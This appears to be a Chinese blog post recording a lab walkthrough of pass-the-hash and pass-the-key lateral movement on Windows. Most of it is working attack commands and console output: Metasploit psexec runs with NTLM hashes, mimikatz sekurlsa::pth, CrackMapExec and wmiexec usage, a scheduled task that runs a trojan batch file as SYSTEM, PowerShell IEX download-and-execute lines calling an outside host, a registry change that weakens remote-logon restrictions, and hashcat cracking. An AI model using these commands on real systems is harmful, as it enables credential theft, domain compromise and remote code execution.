内网攻防

Windows之hash利用小结

2020-08-05  本文已影响0人  book4yi

本文仅作学习记录,如有侵权,请联系删除!

实验环境:

攻击机:kali 2020(192.168.107.129)
DC:Windows Server 2012 R2(192.168.107.137)
msf已成功通过msf获取到DC的shell

提权+get hash

刚获取的shell为普通用户权限,需要进行提权,然后获取hash
直接使用getsystem失败,使用ps命令查看当前进程及运行用户权限

可以看到所运行的进程皆为普通用户权限

这里为了方便,直接使用msf提供的模块,用于快速识别系统中可能被利用的漏洞:

post/multi/recon/local_exploit_suggester

具体原理参考:BypassUAC------使用EVENTVWR.EXE和注册表劫持实现“无文件”UAC绕过

成功绕过UAC获取shell:

通过进程注入获取system权限,并获取hash

Hash传递:

原理:

由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的。

哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。

哈希传递攻击适用情况:
在工作组环境中:

Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

在域环境中:

只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器

Metasploit下面有3个psexec模块都可以进行Hash传递利用

# 执行单个命令的PTH模块:
auxiliary/admin/smb/psexec_command  
# 用psexec执行系统命令,执行直接就获取到meterpreter的PTH模块:
exploit/windows/smb/psexec
# 使用powershell作为payload,支持对一个网段进行PTH进行验证的模块:
exploit/windows/smb/psexec_psh

第一个模块(auxiliary/admin/smb/psexec_command):
缺点:只能运行单条命令,不支持网段格式批量验证
优点:奇怪的是其他普通用户的hash也可以执行系统命令,这个模块可能不属于hash传递的范畴?这个坑以后再来解,我太菜了,望大佬指点~

msf5 exploit(windows/local/bypassuac_eventvwr) > use auxiliary/admin/smb/psexec_command
msf5 auxiliary(admin/smb/psexec_command) > set rhosts 192.168.107.137
rhosts => 192.168.107.137
msf5 auxiliary(admin/smb/psexec_command) > set smbuser Administrator
smbuser => Administrator      //注意这里不需要写域前缀
msf5 auxiliary(admin/smb/psexec_command) > set smbpass aad3b435b51404eeaad3b435b51404ee:6579axxxxxxxxxxxxxxxxxxxx1ff2038
smbpass => aad3b435b51404eeaad3b435b51404ee:6579axxxxxxxxxxxxxxxxxxxx1ff2038
msf5 auxiliary(admin/smb/psexec_command) > set command whoami
command => whoami
msf5 auxiliary(admin/smb/psexec_command) > run

[+] 192.168.107.137:445   - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.107.137:445   - checking if the file is unlocked
[*] 192.168.107.137:445   - Getting the command output...
[*] 192.168.107.137:445   - Executing cleanup...
[+] 192.168.107.137:445   - Cleanup was successful
[+] 192.168.107.137:445   - Command completed successfully!
[*] 192.168.107.137:445   - Output for "whoami":

nt authority\system


[*] 192.168.107.137:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

设置命令的时候可以配合exploit/multi/script/web_delivery从而获取meterpreter
在上面进行Hash传递的时候,只要后面的NTLM Hash是正确的,前面填写什么都是可以顺利登陆成功的。

第二个模块(exploit/windows/smb/psexec):
利用条件:

1.开启445端口 SMB服务
2.开启admin$共享
3.域环境中,域管理员组内用户即可;工作组中,仅适用于administrator用户

优点:该模块支持网段格式批量验证,成功后可直接获取meterpreter且为system权限,在实战中优先使用

第三个模块(exploit/windows/smb/psexec_psh):
使用powershell作为payload。这个模块也支持网段批量验证,这里就不再赘述了

mimikatz:

当我们获得了内网中一台主机的NTLM哈希值,我们可以利用mimikatz对这个主机进行哈希传递攻击,执行命令成功后将会反弹回cmd窗口

mimikatz中pth功能的原理:
windows会在lsass中缓存hash值,并使用它们来ntlm认证,我们在lsass中添加包含目标账号hash的合法数据结构,就可以使用类似dir这些命令进行认证

目标靶机:windows 7 x64

目标主机:192.168.107.140
domain:SWS-PC

user:administrator
NTLM-Hash:6703dac9a915f42d8d8fc5c2902810c1

privilege::debug   
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:用户名  /domain:目标机器IP  /ntlm:密码哈希
# /domain也可以是工作组或者域,比如/domain:SWS-WIN10、/domain:test.com

执行后会弹出cmd,执行以下命令即可远程连接:

net use \\192.168.107.140\c$

创建计划任务反弹shell:

# 查看目标机器的c盘
dir \\192.168.107.140\c$  
# 将bat木马复制到目标机器C盘
copy C:\Users\tester\Desktop\8888.bat \\192.168.107.140\c$  
# 创建计划任务8888,开机时启动C盘下的 8888.bat
schtasks /create /s 192.168.107.140 /tn 8888 /sc onstart /tr c:\8888.bat /ru system /f

理论上来说是可行的,win7复现的时候,任务一直在运行,就是没结束,我也是醉了.....

当然这里使用powershell远程加载也是可以的,但由于环境因素无法复现

cobaltstrike:

前提条件:获取到的beacon为system权限,user中带有*号的用户
在得到一个beacon的基础上,先在该网段portscan,探测存活主机后

选择View-->Target-->Login-->psexec,可批量选择主机pth

个人觉得还是Msf好用,成功率更高一些

crackmapexec:

项目地址:https://github.com/byt3bl33d3r/CrackMapExec
安装参考:https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation

Kali安装步骤:

apt-get install -y libssl-dev libffi-dev python-dev build-essential
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
python3 setup.py install

使用命令:

cme smb ip -u 用户名 -H 哈希值 -d 工作组或域 -x cmd命令
形如:
cme smb 192.168.107.140 -u administrator -H 6703dac9a915f42d8d8fc5c2902810c1 -d sws-pc -x whoami

注意:这里的 IP 可以是单个IP也可以是IP段

如果命令使用失败,可能没安装其依赖项(坑点,我弄了两个小时。。。心态爆炸):

pip3 install -r requirement.txt

wmi攻击:

项目地址:https://github.com/SecureAuthCorp/impacket
安装过程:

git clone https://github.com/SecureAuthCorp/impacket
cd impacket
pip install .

wmi内置在windows操作系统,用于管理本地或远程的 Windows 系统。wmiexec是对windows自带的wmic做了一些强化。攻击者使用wmiexec来进行攻击时,不会记录日志,不会写入到磁盘,具有极高的隐蔽性。

安装成功后,切换到examples目录下,执行如下命令:

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:6703dac9a915f42d8d8fc5c2902810c1 sws-pc/administrator@192.168.107.140 "ipconfig"

exe版本:
项目地址:https://github.com/maaaaz/impacket-examples-windows
执行命令类似

powershell版本:
项目地址:https://github.com/Kevin-Robertson/Invoke-TheHash

powershell -exec bypass
IEX (New-Object Net.WebClient).DownloadString('http://119.x.x.x/Invoke-TheHash/Invoke-WMIExec.ps1');
IEX (New-Object Net.WebClient).DownloadString('http://119.x.x.x/Invoke-TheHash/Invoke-TheHash.ps1');
Invoke-TheHash -Type WMIExec -Target 192.168.107.1/24 -Domain sws-pc -Username administrator -Hash 6703dac9a915f42d8d8fc5c2902810c1 -Command "calc.exe" -verbose

注意:这里要先加载Invoke-WMIExec.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec方法

该命令执行后该进程会在后台运行,可以结合定时任务执行尝试反弹shell。

kb2871997 补丁

KB2871997 补丁将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是 Interactive login。其后果就是:无法通过本地管理员权限对远程计算机使用 Psexec、WMI、smbexec、IPC 等,也无法访问远程主机的文件共享等。
在安装了kb2871997 这个补丁后,常规的Pass The Hash已经无法成功。但administrator(SID=500) 账号例外,使用该账号的散列值依然可以进行哈希传递攻击。这里需要强调的是 SID=500 的账号。即使将administrator账号改名,也不会影响SID的值

普通用户测试:

使用AES进行Key传递攻击(PTK,Pass The Key):

前提:只适用于域环境,并且目标主机需要安装 KB2871997补丁

privilege::debug
sekurlsa::ekeys          #获取kerberos加密凭证

利用获得到的AES256或AES128进行Key攻击:

sekurlsa::pth /user:tester /domain:tester /aes256:e2fb51562573ad27cde527da718101c72a4bcdeb30dbc52aa6a2f6393f12bf30

弹出cmd后,查看DC的共享文件夹:

dir \\192.168.107.137\c$

这里也不知道算成功没有

详情请参考谢公子博客:https://blog.csdn.net/qq_36119192/article/details/103941590

修改注册表进行哈希传递:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

LocalAccountTokenFilterPolicy 值默认设置为 0 来禁止非administrator账号的远程连接(包括哈希传递攻击),但是administrator用户不受影响

将LocalAccountTokenFilterPolicy设置为1,就可以使用普通管理员账号进行哈希传递攻击

hash破解:

利用工具:hashcat
比如说密码为:admin888?
NTLM加密之后为:c4e51613d9ab888ac3d43538840b271c

hashcat.exe -a 3 -m 1000 --force c4e51613d9ab888ac3d43538840b271c --increment --increment-min 8 --increme nt-max 10 ?l?l?l?l?l?d?d?d?s?s

hashcat具体用法参考:Hashcat的使用手册总结
这里可以看到成功破解出了密码:

当然也可以去cmd5等破解网站,有钱的话直接冲个会员多香啊

参考如下


Pass The Hash(Key) 凭据传递攻击PTH
哈希传递攻击(Pass-the-Hash,PtH)
Windows用户密码的加密与破解利用
横向渗透之Pass The Hash

上一篇 下一篇

猜你喜欢

热点阅读